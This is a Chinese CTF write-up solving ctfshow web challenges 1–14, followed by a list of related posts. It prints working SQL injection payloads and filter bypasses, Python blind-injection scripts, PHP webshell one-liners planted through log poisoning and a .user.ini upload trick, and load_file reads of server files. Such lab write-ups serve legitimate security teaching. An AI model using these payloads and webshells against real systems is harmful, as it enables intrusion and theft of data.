ctfshow-web
目录
web签到题
web2
web3
web4
web5
web6
web7
web8
web9
错误做法
正确做法
web10
web11
web12
web13
web14
web签到题
直接f12查看到了一串编码,然后直接base64解码,得到flag
web2
直接用万能密码登录成功,
查询得到,回显的地方为第二个字段
然后开始爆表名
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
爆字段名
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=`flag`#
查数据
1' union select 1,flag,3 from flag#
web3
我们可以直接
?url=php://input
POST:<?php sysytem("ls");>
得到了一个flag文件
?url=php://input
POST:<?php sysytem("cat 文件");>
web4
题与web3相似,然后我们直接尝试一下data伪协议不行的
然后尝试日志注入
?url=/var/log/nginx/access.log
然后我们把一句话木马加在User-Agent里
在用蚁剑连一下
web5
<?php$flag="";$v1=$_GET['v1'];$v2=$_GET['v2'];if(isset($v1) && isset($v2)){if(!ctype_alpha($v1)){die("v1 error");}if(!is_numeric($v2)){die("v2 error");}if(md5($v1)==md5($v2)){echo $flag;}}else{echo "where is flag?";}?>
ctype_alpha():判断变量是否由字母组成
is_numeric():判断变量是否由数字组成
很简单的,我们可以直接找一个纯数字和一个纯字母加密后为0e开头的md5值
?v2=240610708&v1=EEIZDOI
以下为收集到md5值为0e开头的英文和数字
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
TUFEPMC
0e839407194569345277863905212547
UTIPEZQ
0e382098788231234954670291303879
UYXFLOI
0e552539585246568817348686838809
IHKFRNS
0e256160682445802696926137988570
PJNPDWY
0e291529052894702774557631701704
ABJIHVY
0e755264355178451322893275696586
DQWRASX
0e742373665639232907775599582643
DYAXWCA
0e424759758842488633464374063001
GEGHBXL
0e248776895502908863709684713578
GGHMVOE
0e362766013028313274586933780773
GZECLQZ
0e537612333747236407713628225676
NWWKITQ
0e763082070976038347657360817689
NOOPCJF
0e818888003657176127862245791911
MAUXXQC
0e478478466848439040434801845361
MMHUWUV
0e701732711630150438129209816536
240610708
0e462097431906509019562988736854
314282422
0e990995504821699494520356953734
571579406
0e972379832854295224118025748221
903251147
0e174510503823932942361353209384
1110242161
0e435874558488625891324861198103
1320830526
0e912095958985483346995414060832
1586264293
0e622743671155995737639662718498
2302756269
0e250566888497473798724426794462
2427435592
0e067696952328669732475498472343
2653531602
0e877487522341544758028810610885
3293867441
0e471001201303602543921144570260
3295421201
0e703870333002232681239618856220
3465814713
0e258631645650999664521705537122
3524854780
0e507419062489887827087815735195
3908336290
0e807624498959190415881248245271
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
web6
这个题过滤掉了空格
我们可以直接用/**/替换空格就好
admin' or 1=1# //报错了
admin‘/**/or/**/1=1# //成功了
/开始~~
admin'/**/or/**/1=1/**/order/**/by/**/3#
admin'/**/or/**/1=1/**/uninon/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/uninon/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema="flag"#
admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#
web7
该题为盲注,看了y4爷的二分法脚本
import requests
url = "http://ef1aa69c-3250-414b-9468-0c03efbfbd6f.chall.ctf.show/?id='/**/"
result = ''
i = 0
while True:i = i + 1head = 32tail = 127
while head < tail:mid = (head + tail) >> 1# payload = 'if(ascii(substr(database(),%d,1))>%d,1,0)' % (i, mid)# payload = f'if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,0)'# payload = f'if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name="flag")),{i},1))>{mid},1,0)'payload = f'if(ascii(substr((select/**/(flag)from(flag)),{i},1))>{mid},1,0)'r = requests.get(url + payload)if "By Rudyard Kipling" in r.text:head = mid + 1else:tail = mid
if head != 32:result += chr(head)else:breakprint(result)
web8
import requests
url = "http://a448d26a-b594-47a1-b3e0-fddbe1d869ba.chall.ctf.show/?id=-1/**/or/**/"
result = ''
i = 0
while True:i = i + 1head = 32tail = 127
while head < tail:mid = (head + tail) >> 1# payload = f'ascii(substr(database()/**/from/**/{i}/**/for/**/1))>{mid}#'# payload = f'ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database()))/**/from/**/{i}/**/for/**/1))>{mid}'# payload = f'ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name="flag"))/**/from/**/{i}/**/for/**/1))>{mid}'payload = f'ascii(substr((select/**/(flag)from(flag))/**/from/**/{i}/**/for/**/1))>{mid}'r = requests.get(url + payload)if "By Rudyard Kipling" in r.text:head = mid + 1else:tail = mid
if head != 32:result += chr(head)else:breakprint(result)
web9
错误做法
打开是一个管理员登录,需要输入密码,我们直接爆破就好
得到了一个base64转图片的密文
然后转一下得到一个图片,下载这个图片,没有任何东西
做到这,才发现前面全是粗了,思路根本不对
正确做法
先看一下/robots.txt,发现有一个index.phps
保存查看,源码如下
<?php$flag="";$password=$_POST['password'];if(strlen($password)>10){die("password error");}$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){echo "登陆成功<br>";echo $flag;}}?>
主要就是这一句话
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'"
将密码转换成16进制的hex值以后,再将其转换成字符串后包含’ ‘or ’ 6’
SELECT * FROM admin WHERE pass=’ ‘or ’ 6’
在网上有两个这样的字符串
ffifdyop、129581926211651571912466741651878684928
又因为长度有限制,所以输入ffifdyop可获得flag
web10
我们点击取消键,下载了附件内容
<?php$flag="";function replaceSpecialChar($strParam){$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";return preg_replace($regex,"",$strParam);}if (!$con){die('Could not connect: ' . mysqli_error());}if(strlen($username)!=strlen(replaceSpecialChar($username))){die("sql inject error");}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}$sql="select * from user where username = '$username'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo "登陆成功<br>";echo $flag;}
}}?>
源码:对post的数据进行的过滤,然后要对查询出来的值要和我们post的password相等
进行了WITH ROLLUP绕过
WITH ROLLUP是对group by的结果进行进一步的汇总然后显示,在group by 列名 with rollup 中,倘若按列名分组后,列的属性值是不相同的,会生成一条分组条件的列为null的一条新的数据。而如果查询结果是唯一的,一会生成一条分组条件所在列为null的数据
'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可
web11
<?phpfunction replaceSpecialChar($strParam){$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";return preg_replace($regex,"",$strParam);}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}if($password==$_SESSION['password']){echo $flag;}else{echo "error";}?>
在这里我们可以看到过滤掉了好多东西,然后它让我们
输入框的内容等于session的内容
if($password==$_SESSION['password']){
我们可以删除里面的phpsesionid,然后session的值为空了,然后可以直接提交空密码就相等了
web12
打开题目环境,找到了一个hint
发现可以直接rce
然后在这里学到了一个新的函数
php的函数glob();glob()函数返回匹配指定模式的文件名或目录
glob("")匹配任意文件
glob(".txt")匹配以txt后缀的文件
我们可以用这个方法把当前目录的文件打印一下
输入:
?cmd=print_r(glob("*"));
我们找到了一个文件,然后用高显函数,显示一下
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
得到flag
web13
打开题目为一个文件上传的题,尝试上传木马,上传了好多次并没有什么用,然后猜一下有没有源码泄露
.bak文件是备份文件。 .hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏 .phps .bak结尾的网页
upload.php.bak得到了源码
<?php header("content-type:text/html;charset=utf-8");$filename = $_FILES['file']['name'];$temp_name = $_FILES['file']['tmp_name'];$size = $_FILES['file']['size'];$error = $_FILES['file']['error'];$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if ($size > 24){die("error file zise");}if (strlen($filename)>9){die("error file name");}if(strlen($ext_suffix)>3){die("error suffix");}if(preg_match("/php/i",$ext_suffix)){die("error suffix");}if(preg_match("/php/i"),$filename)){die("error file name");}if (move_uploaded_file($temp_name, './'.$filename)){echo "文件上传成功!";}else{echo "文件上传失败!";}
?>
我们上传一句话木马,文件大小要小于24字节,名字长度要小于9,后缀小于等于3,名字中不能有php
然后我们构造一个一句话木马1.txt,内容如下
<?php eval($_GET['a']);
上传成功~然后我们在上传一个.user.ini,在文件中写上
auto_prepend_file=1.txt
作用就是让txt文件以php呈现
在这里我尝试用蚁剑连,发现连不上,我们就直接在页面上搜索
a=print_r(glob("*"));
得到了文件,然后再次使用高显函数进行查看文件
a=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
得到flag
web14
首先查看一下源码
<?php
include("secret.php");
if(isset($_GET['c'])){$c = intval($_GET['c']);sleep($c);switch ($c) {case 1:echo '$url';break;case 2:echo '@A@';break;case 555555:echo $url;case 44444:echo "@A@";break;case 3333:echo $url;break;case 222:echo '@A@';break;case 222:echo '@A@';break;case 3333:echo $url;break;case 44444:echo '@A@';case 555555:echo $url;break;case 3:echo '@A@';case 6000000:echo "$url";case 1:echo '@A@';break;}
}
highlight_file(__FILE__);
很明显我们传入参数?c=3,不会退出循环,进而执行下一个case语句得到url
here_1s_your_f1ag.php
我们进入之后发现是一个注入的题目,然后我们看一下源码
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){die('@A@');}
还是一样的爆一下数据库
?query=-1/**/union/**/select/**/database()
然后再爆表(注:因为过滤掉了有些关键词,我们可以利用反引号进行绕过)
table——》`table`
query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()
爆字段名
query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'
爆值
query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content
没有得到flag,但是给了提示在secret.php
mysql提供读取本地文件的函数load_file()
?query=-1/**/union/**/select/**/load_file('/var/www/html/serect.php')
源码如下
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){echo file_get_contents('/real_flag_is_here');
}')
我们可以直接读取'/real_flag_is_here'
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
得到flag
ctfshow-web相关推荐
- ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
- [ctfshow]web入门——文件上传(web156-web163)
[ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...
- CTFShow web入门题刷题记录
CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...
- 无字母数字rce(ctfshow web入门56)
无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...
- [ctfshow web入门]常用姿势801-806
1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...
- ctfshow web入门-XXE
ctfshow web入门-XXE web373 题目描述 解题思路 web374 题目描述 解题思路 web375 题目描述 解题思路 web376 题目描述 解题思路 web377 题目描述 解题 ...
- ctfshow web入门 命令执行 web29~web77 web118~web124
目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...
- ctfshow web入门 反序列化 前篇 254-266
这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 <?phperror_reporting(0); highlight_file ...
- Ctfshow web入门 爆破系列 21~28
目录 Ctfshow web 21 Ctfshow web 22 Ctfshow web 23 Ctfshow web 24 Ctfshow web 25 Ctfshow web 26 Ctfshow ...
- CTFshow——web入门——sql注入
web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...
最新文章
- 前端基础面试题大全-极乐科技(一)-JS部分
- Method Tracking
- 大数据预测实战-随机森林预测实战(四)-模型调参
- GitHub与GitLab的区别
- [20150304]唯一索引与阻塞.txt
- ubuntu16.04下安装wine及TIM
- 学习问题--js图片路径加载问题
- 腾讯云折(tian)腾(keng)记
- android摇一摇切换配置,逍遥模拟器也可以摇一摇了 附设置教程
- 非线性可视化(3)混沌系统
- 更换新硬盘,重新装回正版win10的方法
- [SCOI2014]方伯伯的玉米田
- 什么是统一身份认证?
- 开源项目:BottomBar
- wu版-天下无难试之Redis面试题刁难大全
- 沉痛悼念“中国航天之父”、我校创始人之一、近代力学系首任系主任钱学森先生
- 招商银行2022FinTech数据赛道总结
- Service的两种启动方式,显示启动和隐式启动
- @图灵不吃苹果 #C++ 人员管理
- 虚拟化技术与云计算基础 大数据视频教程